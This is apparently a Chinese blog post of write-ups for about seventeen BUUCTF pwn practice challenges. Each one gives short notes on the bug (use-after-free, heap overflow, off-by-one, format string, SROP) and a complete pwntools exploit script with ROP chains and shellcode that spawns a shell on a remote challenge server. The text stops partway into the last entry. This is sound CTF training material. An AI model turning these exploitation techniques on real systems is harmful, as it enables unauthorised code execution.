0


pwn入门-buu刷题第三页题解(32道)(持续更新中)

ciscn_2019_n_3

思路:

菜单堆题

libc版本为2.27.存在uaf漏洞,虽然这里没有edit函数,但是我们可以通过double free来实现同样的功能

并且got表可改,而且程序存在system表象,那么我们只需要把atoi的got表改为system,然后在询问我们选项的时候即可getshell。

因为在add时还会申请一个伴随堆块

所以我们需要多次申请再free来消除这个对uaf和double free的影响

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",27434)
elf=ELF("./pwn")
libc=ELF("/home/giant/Desktop/buuctf3/libc_18_32.so")
def debug():
    gdb.attach(p)
    pause()
def add(idx,Type,size,content):
    p.sendlineafter(b'CNote > ',b'1')
    p.sendlineafter(b'Index > ',str(idx))
    p.sendlineafter(b'Type > ',str(Type))
    p.sendlineafter(b'Length > ',str(size))
    p.sendlineafter(b'Value > ',content)
    
def free(idx):
    p.sendlineafter(b'CNote > ',b'2')
    p.sendlineafter(b'Index > ',str(idx))
    
def show(idx):
    p.sendlineafter(b'CNote > ',b'3')
    p.sendlineafter(b'Index > ',str(idx))
    
    
add(0,2,0x48,b'1'*4)
add(1,2,0x48,b'1'*6)

add(6,2,0x4,b'a'*1)
add(7,2,0x4,b'a'*1)
add(8,2,0x4,b'a'*1)
add(9,2,0x6,b'a'*1)
free(7)
free(8)
free(6)

free(0)
free(1)
free(0)

add(3,2,0x48,p32(0x804b038))
add(2,2,0x48,b'1'*4)
free(9)

add(4,2,0x48,b'1'*6)
add(10,2,0x48,p32(elf.sym["system"]))

#debug()
p.sendlineafter(b'CNote > ',b'sh\x00')

p.interactive()

babyfengshui_33c3_2016

思路:

一道菜单堆题

edit函数存在堆溢出

不过在这里我犯了个低级错误,没有搞清楚&符号的原理,导致卡了几个小时,不过现在已经弄懂了,很明显可以看到这里对我们输入的字长大小做了个判断。那么先来看看这个判断到底是在判断什么。这里的&ptr就是把ptr所在的内存地址取出来,也就是0x0804B080,那么再对齐进行*操作的话,那么也就是它堆块的地址,所以这个操作实际是在比较两个指针的大小,那么这两个指针又是从哪里来的,当然是从add函数来的。所以这个判断只有在0x80大小的伴随堆块和我们自定义大小的堆块相邻时才能发挥作用。

那么为了绕过它我们可以先申请一个0x80大小的堆块,再将其free掉,那么 它就会合并成0x111大小的堆块,此时我们在申请一个0x100大小的堆块,此时的0x80的伴随堆块就会从topchunk分割,那么我们就可以随便的改他们中间的那几个堆块了

然后就改泄露libc_base,再改got表就可以了

Exp:

from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
#p = process('./pwn')
p = remote("node5.buuoj.cn",28983)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')

def add(size, name, text):
    p.sendlineafter(b'Action: ', '0')
    p.sendlineafter(b'size of description: ', str(size))
    p.sendlineafter(b'name: ', name)
    p.sendlineafter(b'text length: ', str(len(text)))
    p.sendafter(b'text: ', text)
def free(index):
    p.sendlineafter(b'Action: ', '1')
    p.sendlineafter(b'index: ', str(index))
def dump(index):
    p.sendlineafter(b'Action: ', '2')
    p.sendlineafter(b'index: ', str(index))
def edit(index, lens, text):
    p.sendlineafter(b'Action: ', '3')
    p.sendlineafter(b'index: ', str(index))
    p.sendlineafter(b'text length: ', str(lens))
    p.sendafter(b'text: ', text)        
def exit():
    p.sendlineafter(b'Action: ', '4')

add(0x80, b'a', b'a')
add(0x80, b'b', b'b')#1

add(0x10, b'/bin/sh\x00', b'/bin/sh\x00')#2
free(0)
add(0x100, b'd', b'd')#3
edit(3,0x19c,b'a'*0x194+b'stop'+p32(elf.got["free"]))
dump(1)
#
p.recvuntil(b'description: ')
libc_base=u32(p.recv(4))-libc.sym["free"]
print(hex(libc_base))
system=libc_base+libc.sym["system"]
free_hook=libc.sym["__free_hook"]+libc_base
edit(1,0x4,p32(system))
#edit(3,0x19c,b'a'*0x194+b'stop'+p32(0x804b084))

free(2)
p.interactive()

0ctf_2017_babyheap

思路:

菜单堆题

其中edit函数存在堆溢出漏洞,我们可以自己定义我们向所指堆块写入的字节数

但是这题没有uaf漏洞,所以我们可以通过堆块堆叠来泄漏libc_base。

我们可以先申请一个0x18大小的堆块,再申请两个0x88大小的堆块,这样我们就可以通过edit堆块0来把chunk2的size改为0x121,然后把它free掉。

再申请一个0x118大小的堆块这样我们就获得了一个堆块堆叠的chunk,然后我们再把idx2的堆块free掉,由于我们在free1的时候会把idx2的size都清空,所以我们在free2的时候需要把它的size位补上。

#leak libc_base

add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)

接下来就是简单的malloc_hook攻击了,堆溢出改fd就行了,这个地方没什么好说的,还有一点需要注意的是,我们如果用的是本地的libc然后通过泄露出来的main_arena直接计算出libc_base可能和远程的有一些出路而导致打不通。

Exp:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote("node5.buuoj.cn",27167)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')

def add(size):
    p.sendlineafter("Command:", '1')
    p.sendlineafter("Size:", str(size))

def edit(index, content):
    p.sendlineafter("Command:", '2')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Size:", str(len(content)))
    p.sendafter("Content:", content)

def free(index):
    p.sendlineafter("Command:", '3')
    p.sendlineafter("Index:", str(index))

def dump(index):
    p.sendlineafter("Command:", '4')
    p.sendlineafter("Index:", str(index))
    
   
add(0x18)
add(0x88)
add(0x88)
add(0x88)
edit(0,b'a'*0x18+p64(0x121))
free(1)
add(0x118)
edit(1,b'a'*0x88+p64(0x91))
free(2)
dump(1)
print(p.recvuntil(b'Content: \n'))
p.recv(0x90)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))- 0x3c4b78
malloc_hook=libc_base+libc.sym["__malloc_hook"]
ogg=libc_base+ 0x4526a

add(0x88)
add(0x68)
add(0x68)
free(5)
edit(4,b'a'*0x68+p64(0x71)+p64(malloc_hook-0x23))
print(hex(libc_base))
add(0x68)
add(0x68)
edit(6,b'a'*0x13+p64(ogg))
#add(0x10)
p.interactive()
#debug()

hitcon2014_stkof

思路:

都2024年了啊,看来是吃不上安全这口饭了。

这是一道没有菜单的堆题,不过根据对应的代码我们也可以看出是什么功能。

虽然这道题目没有菜单,但是也只是一道普通的堆溢出而已,ctf基础扎实的群友根本不用怕

堆溢出在这个地方

这里我们可以自己定义输入的大小,然后malloc的size又没有限制。

只不过在free的时候指针被清空了,那么我们就只能利用堆块重叠来泄露libc_base的话show函数有没有

那么我们该如何泄露呢?

这里由于程序没有开启pie

那么可以现在可以更改free chunk的fd指针,不过由于是libc2.23,,所以fastbin在分配时会有检查机制,所以我们需要找到一块size符合的地方来实现任意地址写。刚好0x6020cd这个地方有size域可以绕过fastbin的检查,而且这个地方还靠近tr,所以这样就可以达到任意地址改的效果

随后我们可以把free_got->puts然后再把ptr改成put_got,然后再free即可泄露libc_base,之后再改got表为system即可getshell

Exp:

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#--------------------------------------------------------------------------------------
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
#p = process('./stkof')
p = remote("node5.buuoj.cn",27424)
elf = ELF('./stkof')
libc = ELF('libc-2.23.so')
 
def add(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recv()
def free(index):
    p.sendline('3')
    p.sendline(str(index))
    
def dump(index):
    p.sendline('4')
    p.sendline(str(index))
    p.recv()
def edit(index, content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(len(content)))
    p.send(content)
    p.recv()
    
    

add(0x68) #1
add(0x68) #2
add(0x68) #3
free(3)
edit(2,b'a'*0x68+p64(0x71)+p64(0x6020cd))
add(0x68) #4
add(0x68)#5
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["free"])*1+p64(elf.got["puts"]))
edit(1,p64(elf.sym["puts"]))

free(2)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["puts"]
system=libc.sym["system"]+libc_base
edit(5,b'a'*0x68+b'\x00'*3+p64(elf.got["atoi"])*1+p64(elf.got["puts"]))
edit(1,p64(system))
print(hex(libc_base))
p.sendline('/bin/sh\x00')
#debug()
p.interactive()

mrctf2020_shellcode_revenge

思路:

反汇编不了怎么办?
1.寻找新版本的ida?

但是这样耗时又耗力,不如直接上汇编

当然你还可以直接把对应的地方nop掉,不过你还是得先知道你nop掉的代码是什么功能

nop掉之后就可以反汇编了

不过这段代码肯定是有残缺的,我们自己知道就行了。很显然这里会对shellcode进行检查,只有通过了,才可以执行shellcode

if里面的都要满足也就是buf要小于47且还要大于122才可

但是我们的shellcode一般是这样的

shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

最后实在是云里雾里,看了一眼wp,大概明白了许多了,但还是一头雾水。

这里需要输入纯字符shellcode,这就是无非就是另外一种形式下编码的shellcode而已。

但是问题是,什么是纯字符,我们是怎么根据这个条件判断来要求输入纯字符的。别问我我也不知道,我甚至连工具都没找到,不过还是贴一个exp吧

Exp:

from pwn import *
p=process("./pwn")
#gdb.attach(p)
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode_64)
p.interactive()

jarvisoj_level5

思路:

经典的ret2libc,没有思路,全是套路

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28666)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
 
ret = 0x400499
rdi = 0x4006b3
rsi_r15 = 0x4006b1
payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['main'])
p.sendlineafter(b'Input:\n', payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = write_addr - libc.sym['write']
print('libcbase => ', hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*0x88 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

pwnable_hacknote

思路:

又是一道菜单堆题,就是不知道经典不经典。

经典的uaf,虽然没有edit函数不过这也足够了,而且堆块的申请大小也不受限制,那么我们可以先free掉一个大于0x80大小的堆块,再申请回来,即可泄露libc_base。

这里我本来是想通过打malloc_hoo来getshell的,但是由于在malloc的时候总是会先malloc一个小堆块,来存放一些信息

而且申请的堆块数量也有限,于是我把目光放在了show函数上面

可以看到show函数是根据我们那个0x8大小的伴随堆块来实现puts功能的,那么我们只需要把这个堆块里对应的值改掉改为system,然后参数改为sh;即可getshell

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",29683)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Note size :', str(size))
    p.sendafter(b'Content :', content)
def free(index):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', str(index))
def show(index):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :', str(index))
    
    
add(0x28,b'a'*1)#0
add(0x88,b'a'*1)#1
add(0x28,b'a'*1)#2

free(1)
add(0x88,b'a'*1)#3
show(1)
#print(p.recv())
libc_base=u32(p.recv(4))+7-libc.sym["__malloc_hook"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
free(2)
free(0)
free(2)

add(0x8,p32(system)+b';sh;')
#debug()
show(0)
p.interactive()

ciscn_2019_es_7

思路:

SROP没什么好说的

Exp:

from pwn import *
#p=process("./ciscn_2019_es_7")
p=remote("node5.buuoj.cn",27742)
#gdb.attach(p)
context(arch='amd64',os='linux',log_level='debug')
syscall=0x400517
mov_rax=0x4004DA
ret=0x00000000004003a9
vuln_addr=0x4004ED
payload1=b'/bin/sh\x00'*0x2+p64(vuln_addr)
p.sendline(payload1)
 
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
#print(hex(stack))
 
#print(hex(binsh))
 
p.recv()
sigframe=SigreturnFrame()
sigframe.rax=0x3b
sigframe.rdx=0
sigframe.rdi=binsh
sigframe.rsi=0
sigframe.rip=syscall
sigframe.r11=0
 
sleep(1)
 
payload2=(b'/bin/sh\x00'*2+p64(mov_rax)+p64(syscall)+flat(sigframe))
p.send(payload2)
 
p.interactive()
 
#pause()
 

mrctf2020_easy_equation

思路:

没必要通过解出这个方程再通过格式化字符串来改值,直接栈溢出改返回地址为system即可

Exp:

from pwn import *
p=remote("node5.buuoj.cn",29836)
#p=process("./mrctf2020_easy_equation")
payload=b'a'*0x9+p64(0x4006D0)
p.sendline(payload)
p.interactive()

cmcc_pwnme2

思路:

别管哪些乱七八糟的,都不如libc来的直接

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 24736)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
 
 
 
payload = b'a'*0x70 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
 
puts_addr = u32(p.recv(4))
print('puts_addr => ', hex(puts_addr))
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
 
payload = b'a'*0x70 + p32(system) + p32(elf.sym['main']) + p32(binsh)
p.recv()
p.sendline(payload)
 
p.interactive()

picoctf_2018_got_shell

思路:

很明显的任意地址读写

而且还有后门函数

Exp:

from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
p.recv()
gdb.attach(p)
p.sendline(b'0x804a014')
print(p.recv())
p.sendline(b'0x08048551')
pause()
p.interactive()

wdb_2018_2nd_easyfmt

思路:

很经典的一道栈上的格式化字符串漏洞题,直接对着返回地址写one_dagdet即可

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28771)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc-2.23_16_32.so')
 
p.recv()
p.send(p32(elf.got['printf']) + b'%6$s')
print('printf@got => ', hex(elf.got['printf']))
p.recv(4)
printf_addr = u32(p.recv(4))
print('printf_addr => ', hex(printf_addr))
 
libcbase = printf_addr - libc.sym['printf']
system = libcbase + libc.sym['system']
print('system => ', hex(system))
payload = fmtstr_payload(6, {elf.got['printf']:system}, write_size = 'byte')
print('printf@got => ', hex(elf.got['printf']))
p.send(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()

roarctf_2019_easy_pwn

思路:

菜单堆题,没有uaf漏洞,但是存在堆溢出漏洞。

编辑堆块的大小我们可以自己输入,那么我们可以通过这个来造成堆块重叠从而泄露libc_base再通过打__malloc_hook来getshell。

但是比较悲催的是这里的one_gadget都不能用,那么我们这个时候就可以如果realloc来改变一下栈布局,从而来实现one_gadget的。那么这个的原理是什么呢?

我们都知道我们这种libc2.23的攻击是通过在malloc的时候使malloc_hook不为空,从而执行我们的函数。在执行hook之前会进行一系列这样的操作

从而改变栈布局,那么我们为什么要劫持realloc呢?很简单,由于realloc也有hook函数,而且就紧靠着malloc_hook函数,因此我们可以劫持程序到realloc,利用realloc函数为踏板执行realloc_hook。如果还不对我们可以对realloc进行适当加减,一般是+6

Exp:

from pwn import *
from struct import pack
context.log_level='debug'

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote("node5.buuoj.cn",26146)
elf = ELF('./pwn')
libc = ELF('/home/giant/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
 
def add(size):
    p.sendlineafter(b'choice: ', '1')
    p.sendlineafter(b'size: ', str(size))
def edit(index, size, content):
    p.sendlineafter(b'choice: ', '2')
    p.sendlineafter(b'index: ', str(index))
    p.sendlineafter(b'size: ', str(size))
    p.sendafter('content: ', content)
def free(index):
    p.sendlineafter(b'choice: ', '3')
    p.sendlineafter(b'index: ', str(index))
def dump(index):
    p.sendlineafter(b'choice: ', '4')
    p.sendlineafter(b'index: ', str(index))

add(0x18)#0
add(0x10)#1
add(0x80)#2
add(0x10)#3
 
#unsorted bin attack
edit(0, 0x22, p64(0)*3 + p8(0xb1))

free(1)

add(0xa0)#4->1

edit(1, 0x20, p64(0)*3 + p64(0x91))

free(2)

#edit(1, 0x20, p64(0)*3 + p64(0x71))
dump(1)
r(41)

main_arena_88 = u64(p.recv(6).ljust(8, b'\x00'))
print('main_arena_88 => ',  hex(main_arena_88))
libc_base = main_arena_88 - 0x68 - libc.sym['__malloc_hook']
print('libc_base => ', hex(libc_base))

add(0x60)#3->2

free(2)
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23
edit(1, 0x28, p64(0)*3 + p64(0x71)+p64(malloc_hook))

add(0x60)#
add(0x60)
#debug()
realloc_hook = libc_base + libc.sym['realloc']
ogg=libc_base+0x4525a
edit(4, 0x1b, b'\x00'*0xb + p64(ogg) + p64(realloc_hook+2))
debug('b *$rebase(0x1253)')
lg('ogg',ogg)

add(0x10)
pause()
p.interactive()

picoctf_2018_can_you_gets_me

思路:

没什么好说的秒了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote('node5.buuoj.cn', 28956)
elf = ELF('./pwn')
libc = ELF('/home/giant/Desktop/buuctf3/libc_18_32.so')
 
def get_payload():
  p = b'a'*0x1c
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'/bin'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea064) # @ .data + 4
  p += pack('<I', 0x080b81c6) # pop eax ; ret
  p += b'//sh'
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
  p += pack('<I', 0x080481c9) # pop ebx ; ret
  p += pack('<I', 0x080ea060) # @ .data
  p += pack('<I', 0x080de955) # pop ecx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x0806f02a) # pop edx ; ret
  p += pack('<I', 0x080ea068) # @ .data + 8
  p += pack('<I', 0x08049303) # xor eax, eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0807a86f) # inc eax ; ret
  p += pack('<I', 0x0806cc25) # int 0x80
  return p
payload = get_payload()
p.recv()
p.sendline(payload)
p.interactive()

npuctf_2020_easyheap

思路:

菜单堆题

edit函数存在offbyone漏洞,而且是libc2.27的版本,那么直接打堆块重叠即可,可以通过堆块重叠去修改那个伴随堆块的相关信息,从而实现泄露libc_base和改got表为system来getshell

Exp:

from pwn import *
from struct import pack
context.log_level='debug'

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",26245)
elf = ELF('./pwn')
libc = ELF('libc-2.27_18_64.so')
 
def add(size, content):
    p.sendlineafter(b'Your choice :', '1')
    p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ', str(size))
    p.sendafter(b'Content:', content)
def edit(index, content):
    p.sendlineafter(b'Your choice :', '2')
    p.sendlineafter(b'Index :', str(index))
    p.sendafter(b'Content:', content)
def show(index):
    p.sendlineafter(b'Your choice :', '3')
    p.sendlineafter(b'Index :', str(index))
def free(index):
    p.sendlineafter(b'Your choice :', '4')
    p.sendlineafter(b'Index :', str(index))

add(0x18,b'a'*8)#idx->0
add(0x18,b'a'*8)#idx->1
add(0x18,b'a'*8)#idx->2

edit(0,b'a'*0x18+p8(0x41))
free(1)
add(0x38,p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got["atoi"]))#idx->4->1

show(1)
p.recvuntil(b'Content : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["atoi"]
system=libc_base+libc.sym["system"]
one_gadget=0x10a38c+libc_base
print(hex(libc_base))
#gdb.attach(p)
edit(1,p64(system))
#debug()
p.recv()

p.sendlineafter(b'Your choice :', b'sh\x00')
p.interactive()

hitcontraining_bamboobox

思路:

同样是一道菜单堆题,然后貌似有后门函数?

不过我一向秉持的原则就是能拿shell,那就先拿shell,如果实在不行再看看这个函数

可以看到虽然有edit函数,并且可以堆溢出,但是这里在输入完之后会在最后面自动添加0,add函数也是,这就导致了我们就算能通过堆块堆叠来造成uaf也不能泄露libc_base,那么这里可以用到一种新的技巧,就是unlink,不知道的可以去我的暑假第一周周报里面了解。

通过unlink,我们可以改变itemlist里面的值的内容,从而来改变show的位置,然后再泄露libc_base,然后由于这道题的got表还是可写的,那么随便打了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",27029)
elf = ELF('./pwn')
libc = ELF('libc-2.23_16_64.so')
def debug():
    gdb.attach(p)
    pause()
def add(size, content):
    p.sendlineafter(b'Your choice:', '2')
    p.sendlineafter(b'Please enter the length of item name:', str(size))
    p.sendafter(b'Please enter the name of item:', content)
def show():
    p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
    p.sendlineafter(b'Your choice:', '3')
    p.sendlineafter(b'Please enter the index of item:', str(index))
    p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
    p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
    p.sendlineafter(b'Your choice:', '4')
    p.sendlineafter(b'Please enter the index of item:', str(index))

def get_shell():
    p.sendlineafter(b'Your choice:', '/bin/sh\x00')
 

heap=0x6020c8
add(0x81,b'a'*8)
add(0x81,b'a'*2)
add(0x18,b'b'*2)
edit(0,p64(0)+p64(0x81)+p64(heap-0x18)+p64(heap-0x10)+b'\x00'*0x60+p64(0x80)+p64(0x90))
#debug()
free(1)
add(0x81,b'a'*2)
edit(0,p64(0)*2+p64(0x81)+p64(0x602018)+p64(0x81)+p64(0x6020c0))
show()
p.recvuntil(b'0 : ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym["free"]
system=libc.sym["system"]+libc_base
print(hex(libc_base))
edit(1,p64(0x81)+p64(elf.got["atoi"]))
edit(0,p64(system))
get_shell()
p.interactive()

suctf_2018_basic pwn

思路:

ret2text没什么好说的,我本地貌似有点问题,不过远程还是可以通的

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
p = remote("node5.buuoj.cn",28019)
elf = ELF('./pwn')

 
payload = b'a'*0x118 + p64(0x401157)
p.sendline(payload)
print(p.recv())

x_ctf_b0verfl0w

思路:

什么保护都没开,并且栈上有可执行权限,那么我们可以利用程序中的

这段代码的gadget去往栈上写shellcode,并控制栈然后执行shellcode

Exp:

from pwn import *
#p=process("./pwn")
p=remote("node5.buuoj.cn",26921)
elf=ELF("./pwn")
#gdb.attach(p)
shellcode_x86 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += b"\x0b\xcd\x80"
p.sendline(p32(0x08048504)*2+shellcode_x86.ljust(0x1c,b'\x90')+p32(0x08048500)+p32(0x08048504))
p.interactive()
pause()

actf_2019_babystack

思路:

经典栈迁移,这里栈地址给出来了,但是两次栈的地址可能会不一样,这里需要注意一下。

然后就是写0ne_gad_get了

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
#p = process('./pwn')
